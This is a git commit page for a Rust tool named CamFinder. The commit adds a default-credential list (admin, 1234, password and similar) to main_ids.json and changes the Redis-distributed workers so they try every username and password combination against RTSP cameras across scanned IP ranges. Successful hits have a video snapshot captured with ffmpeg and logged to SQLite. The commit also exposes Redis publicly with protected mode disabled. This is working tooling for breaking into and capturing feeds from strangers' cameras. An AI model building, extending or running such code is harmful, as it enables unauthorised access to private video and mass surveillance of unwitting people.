valmojr/CamFinder
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Improved scale on redis workers

Browse Source
This commit is contained in:
Valmo
2026-06-30 00:36:31 -03:00
parent 2ccdfaf1c7
commit 0fc1473a6f
7 changed files with 497 additions and 90 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Dockerfile
+1
View File
@@ -15,5 +15,6 @@ WORKDIR /app
COPY --from=builder /app/target/release/camfinder /usr/local/bin/camfinder
COPY cidrs.txt /app/cidrs.txt
COPY rtsp_paths.txt /app/rtsp_paths.txt
COPY main_ids.json /app/main_ids.json
ENTRYPOINT ["camfinder"]
README.md
+8 -4
View File
@@ -28,14 +28,16 @@ O `docker-compose.yml` já sobe:
Para o fluxo RTSP com Redis, use `docker-compose.redis-rtsp.yml`:
- `redis` como fila.
- `coordinator` para ler `camfinder-open-rtsp.csv` e alimentar a fila.
- `worker-1` e `worker-2` para consumir IPs, testar paths RTSP e salvar screenshots e SQLite.
- `redis` como fila. Ele publica a porta `6379`, então workers externos podem apontar `REDIS_URL` para esse host.
- `coordinator` para ler `camfinder-open-rtsp.csv` e alimentar a fila com blocos de IPs.
- `worker-1` e `worker-2` para consumir blocos, testar paths RTSP e salvar screenshots e SQLite.
Para escalar workers:
- `docker compose up --scale worker=3`
Para um worker em outra máquina, aponte `REDIS_URL` para o Redis do coordenador, por exemplo `redis://<host>:6379/0`, e use o mesmo `RTSP_QUEUE_NAME`.
Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coordenador.
## Scripts
@@ -67,6 +69,7 @@ Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coor
- `RTSP_QUEUE_NAME`
- `RTSP_INPUT_CSV`
- `RTSP_WORKER_COUNT`
- `RTSP_QUEUE_BLOCK_SIZE`
- `RTSP_SNAPSHOT_DIR`
- `RTSP_SQLITE_PATH`
- `RTSP_CAPTURE_TIMEOUT_MS`
@@ -74,7 +77,8 @@ Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coor
## Modo RTSP
O modo `rtsp` monta URLs no formato `rtsp://<host>:554/<path>` e testa a conexão
via `DESCRIBE`, sem tentar usuário, senha ou variações de autenticação.
via `DESCRIBE`, tentando primeiro sem auth e depois cruzando os usuários e
senhas padrão definidos em `main_ids.json`.
Por padrão, ele lê os paths de [rtsp_paths.txt](/home/valmo/Documents/CamFinder/rtsp_paths.txt).
docker-compose.redis-rtsp.yml
+3 -1
View File
@@ -1,7 +1,9 @@
services:
redis:
image: redis:7-alpine
command: ["redis-server", "--appendonly", "yes"]
command: ["redis-server", "--appendonly", "yes", "--bind", "0.0.0.0", "--protected-mode", "no"]
ports:
- "6379:6379"
volumes:
- camfinder-redis:/data
main_ids.json
+19
View File
@@ -0,0 +1,19 @@
{
"usernames": [
"",
"admin"
],
"passwords" : [
"",
"admin",
"8888",
"9999",
"1234",
"12345",
"123456",
"123456789",
"1234567890",
"pass",
"password"
]
}
src/config.rs
+26 -7
View File
@@ -25,6 +25,7 @@ pub struct Config {
pub redis_queue_name: String,
pub redis_input_csv: String,
pub redis_worker_count: usize,
pub redis_queue_block_size: usize,
pub snapshot_dir: PathBuf,
pub sqlite_path: PathBuf,
pub capture_timeout_ms: u64,
@@ -65,12 +66,16 @@ impl Config {
.redis_worker_count
.or_else(|| parse_usize("RTSP_WORKER_COUNT", 2).ok())
.unwrap_or(2),
redis_queue_block_size: cli
.redis_queue_block_size
.or_else(|| parse_usize("RTSP_QUEUE_BLOCK_SIZE", 128).ok())
.unwrap_or(128),
snapshot_dir: cli
.snapshot_dir
.unwrap_or_else(|| PathBuf::from(read_env("RTSP_SNAPSHOT_DIR", "dump/feeds"))),
sqlite_path: cli
.sqlite_path
.unwrap_or_else(|| PathBuf::from(read_env("RTSP_SQLITE_PATH", "dump/rtsp-results.sqlite"))),
sqlite_path: cli.sqlite_path.unwrap_or_else(|| {
PathBuf::from(read_env("RTSP_SQLITE_PATH", "dump/rtsp-results.sqlite"))
}),
capture_timeout_ms: cli
.capture_timeout_ms
.or_else(|| parse_u64("RTSP_CAPTURE_TIMEOUT_MS", 15000).ok())
@@ -116,6 +121,7 @@ struct CliArgs {
redis_queue_name: Option<String>,
redis_input_csv: Option<String>,
redis_worker_count: Option<usize>,
redis_queue_block_size: Option<usize>,
snapshot_dir: Option<PathBuf>,
sqlite_path: Option<PathBuf>,
capture_timeout_ms: Option<u64>,
@@ -177,13 +183,26 @@ impl CliArgs {
"--worker-count",
)?)?);
}
"--queue-block-size" => {
cli.redis_queue_block_size = Some(parse_usize_literal(&next_value(
args,
&mut index,
"--queue-block-size",
)?)?);
}
"--snapshot-dir" => {
cli.snapshot_dir =
Some(PathBuf::from(next_value(args, &mut index, "--snapshot-dir")?));
cli.snapshot_dir = Some(PathBuf::from(next_value(
args,
&mut index,
"--snapshot-dir",
)?));
}
"--sqlite-path" => {
cli.sqlite_path =
Some(PathBuf::from(next_value(args, &mut index, "--sqlite-path")?));
cli.sqlite_path = Some(PathBuf::from(next_value(
args,
&mut index,
"--sqlite-path",
)?));
}
"--capture-timeout-ms" => {
cli.capture_timeout_ms = Some(parse_u64_literal(&next_value(
src/main.rs
+1 -1
View File
@@ -3,8 +3,8 @@ mod coordinator;
mod db;
mod ip;
mod models;
mod rtsp;
mod redis_rtsp;
mod rtsp;
mod scan;
mod terminal;
mod worker;
src/redis_rtsp.rs
+439 -77
View File
@@ -4,6 +4,8 @@ use crate::{
};
use anyhow::{anyhow, Context, Result};
use std::{
collections::HashSet,
fmt::Write as _,
fs,
path::{Path, PathBuf},
sync::atomic::{AtomicBool, Ordering},
@@ -38,6 +40,7 @@ pub async fn run_redis_coordinator(
&config.redis_url,
&config.redis_queue_name,
&ips,
config.redis_queue_block_size.max(1),
config.redis_worker_count.max(1),
)
.await?;
@@ -76,10 +79,12 @@ pub async fn run_redis_worker(
let mut processed = 0usize;
let mut captured = 0usize;
let paths = normalize_paths(&config.rtsp_paths);
let credentials = load_rtsp_credentials(Path::new("main_ids.json"))?;
println!(
"worker pronto para {} paths em {}",
"worker pronto para {} paths, {} credenciais e fila {}",
paths.len(),
credentials.len(),
config.redis_queue_name
);
@@ -90,62 +95,94 @@ pub async fn run_redis_worker(
match pop_queue_item(&config.redis_url, &config.redis_queue_name).await? {
Some(item) if item == DEFAULT_SENTINEL => break,
Some(ip) => {
for rtsp_path in &paths {
if interrupted.load(Ordering::SeqCst) {
break;
}
Some(block) => {
for ip in parse_ip_block(&block) {
for rtsp_path in &paths {
if interrupted.load(Ordering::SeqCst) {
break;
}
let attempt = build_rtsp_url(&ip, config.port, &rtsp_path);
let checked_at = timestamp_millis();
let probe = probe_rtsp(&attempt, config.capture_timeout_ms).await;
let mut path_captured = false;
let (status, screenshot_path, error) = if probe.is_connectable() {
let output_path =
build_snapshot_path(&config.snapshot_dir, &ip, &rtsp_path, checked_at);
let outcome = capture_feed(&attempt, &output_path, config.capture_timeout_ms)
.await;
match outcome {
Ok(()) => {
captured += 1;
(
"captured".to_string(),
Some(output_path.to_string_lossy().to_string()),
None,
)
for credential in &credentials {
if interrupted.load(Ordering::SeqCst) {
break;
}
Err(err) => {
let _ = fs::remove_file(&output_path);
("failed".to_string(), None, Some(err.to_string()))
let attempt = build_rtsp_url(
&ip,
config.port,
&rtsp_path,
credential.username.as_deref(),
credential.password.as_deref(),
);
let checked_at = timestamp_millis();
let probe = probe_rtsp(&attempt, config.capture_timeout_ms).await;
let (status, screenshot_path, error, attempt_captured) = if probe
.is_connectable()
{
let output_path = build_snapshot_path(
&config.snapshot_dir,
&ip,
&rtsp_path,
checked_at,
);
let outcome =
capture_feed(&attempt, &output_path, config.capture_timeout_ms)
.await;
match outcome {
Ok(()) => (
"captured".to_string(),
Some(output_path.to_string_lossy().to_string()),
None,
true,
),
Err(err) => {
let _ = fs::remove_file(&output_path);
("failed".to_string(), None, Some(err.to_string()), false)
}
}
} else {
(
probe.status,
None,
probe.error.map(|error| error.to_string()),
false,
)
};
insert_sqlite_result(
&config.sqlite_path,
checked_at,
&ip,
&rtsp_path,
&attempt,
status,
screenshot_path.as_deref(),
error.as_deref(),
)
.await?;
processed += 1;
println!(
"{} -> {}",
redact_rtsp_url(&attempt),
screenshot_path.unwrap_or_else(|| "sem imagem".to_string())
);
if attempt_captured {
captured += 1;
path_captured = true;
break;
}
}
} else {
(
probe.status,
None,
probe.error.map(|error| error.to_string()),
)
};
insert_sqlite_result(
&config.sqlite_path,
checked_at,
&ip,
&rtsp_path,
&attempt,
status,
screenshot_path.as_deref(),
error.as_deref(),
)
.await?;
processed += 1;
println!(
"{} -> {}",
attempt,
screenshot_path.unwrap_or_else(|| "sem imagem".to_string())
);
if path_captured {
continue;
}
}
}
}
None => {
@@ -195,12 +232,11 @@ async fn capture_feed(url: &str, output_path: &Path, timeout_ms: u64) -> Result<
.arg("-y")
.arg(output_path.as_os_str());
let output = timeout(
Duration::from_millis(timeout_ms),
async { command.output().await },
)
let output = timeout(Duration::from_millis(timeout_ms), async {
command.output().await
})
.await
.map_err(|_| anyhow!("ffmpeg timeout for {url}"))??;
.map_err(|_| anyhow!("ffmpeg timeout for {}", redact_rtsp_url(url)))??;
if output.status.success() {
return Ok(());
@@ -211,7 +247,8 @@ async fn capture_feed(url: &str, output_path: &Path, timeout_ms: u64) -> Result<
let _ = fs::remove_file(output_path);
}
Err(anyhow!(
"ffmpeg failed for {url}: {}",
"ffmpeg failed for {}: {}",
redact_rtsp_url(url),
if stderr.is_empty() {
"sem stderr".to_string()
} else {
@@ -269,11 +306,7 @@ async fn probe_rtsp(url: &str, timeout_ms: u64) -> RtspProbe {
}
let mut buf = vec![0u8; 1024];
let read_result = timeout(
Duration::from_millis(timeout_ms),
stream.read(&mut buf),
)
.await;
let read_result = timeout(Duration::from_millis(timeout_ms), stream.read(&mut buf)).await;
let bytes_read = match read_result {
Ok(Ok(0)) => {
@@ -357,7 +390,11 @@ fn parse_rtsp_status(response: &[u8]) -> Result<Option<u16>> {
fn extract_host(url: &str) -> String {
let rest = url.strip_prefix("rtsp://").unwrap_or(url);
let authority = rest.split('/').next().unwrap_or(rest);
authority.to_string()
authority
.rsplit_once('@')
.map(|(_, host)| host)
.unwrap_or(authority)
.to_string()
}
async fn pop_queue_item(redis_url: &str, queue_name: &str) -> Result<Option<String>> {
@@ -388,13 +425,14 @@ async fn enqueue_ips(
redis_url: &str,
queue_name: &str,
ips: &[String],
block_size: usize,
worker_count: usize,
) -> Result<()> {
for chunk in ips.chunks(400) {
for chunk in ips.chunks(block_size.max(1)) {
let mut args = Vec::with_capacity(chunk.len() + 2);
args.push("RPUSH".to_string());
args.push(queue_name.to_string());
args.extend(chunk.iter().cloned());
args.push(chunk.join("\n"));
let args_ref = args.iter().map(String::as_str).collect::<Vec<_>>();
let _ = redis_cli(redis_url, &args_ref).await?;
}
@@ -408,6 +446,18 @@ async fn enqueue_ips(
Ok(())
}
fn parse_ip_block(block: &str) -> Vec<String> {
block
.lines()
.map(str::trim)
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.map(strip_quotes)
.filter(|line| !line.is_empty())
.filter(|line| !is_header(line))
.map(ToString::to_string)
.collect()
}
async fn redis_cli(redis_url: &str, args: &[&str]) -> Result<String> {
let mut command = Command::new("redis-cli");
command.kill_on_drop(true).arg("-u").arg(redis_url);
@@ -474,14 +524,11 @@ async fn insert_sqlite_result(
}
async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> {
let output = timeout(
Duration::from_secs(20),
async {
let mut command = Command::new("sqlite3");
command.kill_on_drop(true).arg(sqlite_path).arg(sql);
command.output().await
},
)
let output = timeout(Duration::from_secs(20), async {
let mut command = Command::new("sqlite3");
command.kill_on_drop(true).arg(sqlite_path).arg(sql);
command.output().await
})
.await
.context("sqlite3 timeout")??;
@@ -501,8 +548,8 @@ async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> {
}
fn load_ip_list(input: &str) -> Result<Vec<String>> {
let content = fs::read_to_string(input)
.with_context(|| format!("failed to read input CSV {input}"))?;
let content =
fs::read_to_string(input).with_context(|| format!("failed to read input CSV {input}"))?;
let mut ips = Vec::new();
for line in content.lines() {
@@ -539,8 +586,15 @@ fn normalize_paths(paths: &[String]) -> Vec<String> {
.collect()
}
fn build_rtsp_url(ip: &str, port: u16, path: &str) -> String {
format!("rtsp://{ip}:{port}{path}")
fn build_rtsp_url(
ip: &str,
port: u16,
path: &str,
username: Option<&str>,
password: Option<&str>,
) -> String {
let auth = build_rtsp_auth_prefix(username, password);
format!("rtsp://{auth}{ip}:{port}{path}")
}
fn build_snapshot_path(base_dir: &Path, ip: &str, rtsp_path: &str, checked_at: i64) -> PathBuf {
@@ -599,9 +653,317 @@ fn sanitize_component(value: &str) -> String {
.collect()
}
#[derive(Debug, Clone, Eq, PartialEq, Hash)]
struct RtspCredential {
username: Option<String>,
password: Option<String>,
}
impl RtspCredential {
fn anonymous() -> Self {
Self {
username: None,
password: None,
}
}
fn from_parts(username: Option<&str>, password: Option<&str>) -> Self {
Self {
username: username
.map(str::trim)
.filter(|value| !value.is_empty())
.map(ToString::to_string),
password: password
.map(str::trim)
.filter(|value| !value.is_empty())
.map(ToString::to_string),
}
}
}
fn load_rtsp_credentials(path: &Path) -> Result<Vec<RtspCredential>> {
let content = fs::read_to_string(path)
.with_context(|| format!("failed to read RTSP credential file {}", path.display()))?;
let usernames = parse_json_string_array(&content, "usernames")?;
let passwords = parse_json_string_array(&content, "passwords")?;
Ok(build_rtsp_credentials(&usernames, &passwords))
}
fn build_rtsp_credentials(usernames: &[String], passwords: &[String]) -> Vec<RtspCredential> {
let mut credentials = Vec::new();
let mut seen = HashSet::new();
push_credential(&mut credentials, &mut seen, RtspCredential::anonymous());
for username in usernames.iter().filter(|value| !value.trim().is_empty()) {
push_credential(
&mut credentials,
&mut seen,
RtspCredential::from_parts(Some(username), None),
);
}
for password in passwords.iter().filter(|value| !value.trim().is_empty()) {
push_credential(
&mut credentials,
&mut seen,
RtspCredential::from_parts(None, Some(password)),
);
}
for username in usernames.iter().filter(|value| !value.trim().is_empty()) {
for password in passwords.iter().filter(|value| !value.trim().is_empty()) {
push_credential(
&mut credentials,
&mut seen,
RtspCredential::from_parts(Some(username), Some(password)),
);
}
}
credentials
}
fn push_credential(
credentials: &mut Vec<RtspCredential>,
seen: &mut HashSet<RtspCredential>,
credential: RtspCredential,
) {
if seen.insert(credential.clone()) {
credentials.push(credential);
}
}
fn parse_json_string_array(input: &str, key: &str) -> Result<Vec<String>> {
let marker = format!("\"{key}\"");
let Some(key_pos) = input.find(&marker) else {
return Err(anyhow!("missing {key} field in RTSP credential file"));
};
let after_key = &input[key_pos + marker.len()..];
let Some(array_start) = after_key.find('[') else {
return Err(anyhow!("missing {key} array in RTSP credential file"));
};
let array_start = key_pos + marker.len() + array_start;
let array_end = find_matching_bracket(input, array_start)?;
let array_body = &input[array_start + 1..array_end];
parse_json_string_values(array_body)
}
fn find_matching_bracket(input: &str, open_index: usize) -> Result<usize> {
let mut in_string = false;
let mut escape = false;
for (index, ch) in input[open_index..].char_indices() {
let index = open_index + index;
if escape {
escape = false;
continue;
}
match ch {
'\\' if in_string => escape = true,
'"' => in_string = !in_string,
'[' if !in_string => {}
']' if !in_string => return Ok(index),
_ => {}
}
}
Err(anyhow!("unterminated JSON array in RTSP credential file"))
}
fn parse_json_string_values(input: &str) -> Result<Vec<String>> {
let mut values = Vec::new();
let mut index = 0;
let bytes = input.as_bytes();
while index < bytes.len() {
skip_json_whitespace(input, &mut index);
if index >= bytes.len() {
break;
}
if bytes[index] == b',' {
index += 1;
continue;
}
if bytes[index] != b'"' {
return Err(anyhow!("expected JSON string in RTSP credential file"));
}
index += 1;
let mut value = String::new();
while index < bytes.len() {
let ch = input[index..]
.chars()
.next()
.ok_or_else(|| anyhow!("invalid UTF-8 in RTSP credential file"))?;
index += ch.len_utf8();
match ch {
'"' => break,
'\\' => {
let esc = input[index..]
.chars()
.next()
.ok_or_else(|| anyhow!("unterminated escape in RTSP credential file"))?;
index += esc.len_utf8();
match esc {
'"' | '\\' | '/' => value.push(esc),
'b' => value.push('\u{0008}'),
'f' => value.push('\u{000C}'),
'n' => value.push('\n'),
'r' => value.push('\r'),
't' => value.push('\t'),
other => {
return Err(anyhow!(
"unsupported JSON escape \\{other} in RTSP credential file"
));
}
}
}
other => value.push(other),
}
}
values.push(value);
skip_json_whitespace(input, &mut index);
if index < bytes.len() && bytes[index] == b',' {
index += 1;
}
}
Ok(values)
}
fn skip_json_whitespace(input: &str, index: &mut usize) {
let bytes = input.as_bytes();
while *index < bytes.len() && bytes[*index].is_ascii_whitespace() {
*index += 1;
}
}
fn build_rtsp_auth_prefix(username: Option<&str>, password: Option<&str>) -> String {
match (username, password) {
(None, None) => String::new(),
(Some(username), Some(password)) => {
format!(
"{}:{}@",
encode_rtsp_userinfo(username),
encode_rtsp_userinfo(password)
)
}
(Some(username), None) => format!("{}@", encode_rtsp_userinfo(username)),
(None, Some(password)) => format!(":{}@", encode_rtsp_userinfo(password)),
}
}
fn encode_rtsp_userinfo(value: &str) -> String {
let mut encoded = String::with_capacity(value.len());
for byte in value.as_bytes() {
match byte {
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'.' | b'_' | b'~' => {
encoded.push(*byte as char)
}
_ => {
let _ = write!(&mut encoded, "%{byte:02X}");
}
}
}
encoded
}
fn redact_rtsp_url(url: &str) -> String {
let Some(rest) = url.strip_prefix("rtsp://") else {
return url.to_string();
};
let Some((authority, path)) = rest.split_once('/') else {
return url.to_string();
};
let Some((userinfo, host)) = authority.rsplit_once('@') else {
return url.to_string();
};
let redacted_userinfo = match userinfo.split_once(':') {
Some((user, _)) if !user.is_empty() => format!("{user}:***"),
Some(_) => "***".to_string(),
None if !userinfo.is_empty() => format!("{userinfo}:***"),
None => "***".to_string(),
};
format!("rtsp://{}@{}/{}", redacted_userinfo, host, path)
}
fn timestamp_millis() -> i64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|duration| duration.as_millis() as i64)
.unwrap_or_default()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn builds_credential_combinations_in_useful_order() {
let usernames = vec!["".to_string(), "admin".to_string()];
let passwords = vec!["".to_string(), "1234".to_string()];
let credentials = build_rtsp_credentials(&usernames, &passwords);
assert_eq!(
credentials,
vec![
RtspCredential::anonymous(),
RtspCredential::from_parts(Some("admin"), None),
RtspCredential::from_parts(None, Some("1234")),
RtspCredential::from_parts(Some("admin"), Some("1234")),
]
);
}
#[test]
fn builds_and_redacts_rtsp_urls_with_auth() {
let url = build_rtsp_url("192.168.1.10", 554, "/stream", Some("admin"), Some("1234"));
assert_eq!(url, "rtsp://admin:1234@192.168.1.10:554/stream");
assert_eq!(
redact_rtsp_url(&url),
"rtsp://admin:***@192.168.1.10:554/stream"
);
assert_eq!(extract_host(&url), "192.168.1.10:554");
}
#[test]
fn parses_json_arrays_with_strings() {
let input = r#"
{
"usernames": ["", "admin"],
"passwords": ["", "1234"]
}
"#;
assert_eq!(
parse_json_string_array(input, "usernames").unwrap(),
vec!["".to_string(), "admin".to_string()]
);
assert_eq!(
parse_json_string_array(input, "passwords").unwrap(),
vec!["".to_string(), "1234".to_string()]
);
}
#[test]
fn parses_queue_blocks_into_ips() {
let block = "192.168.0.10\n192.168.0.11\n\n# ignored\ncamera";
assert_eq!(
parse_ip_block(block),
vec!["192.168.0.10".to_string(), "192.168.0.11".to_string()]
);
}
}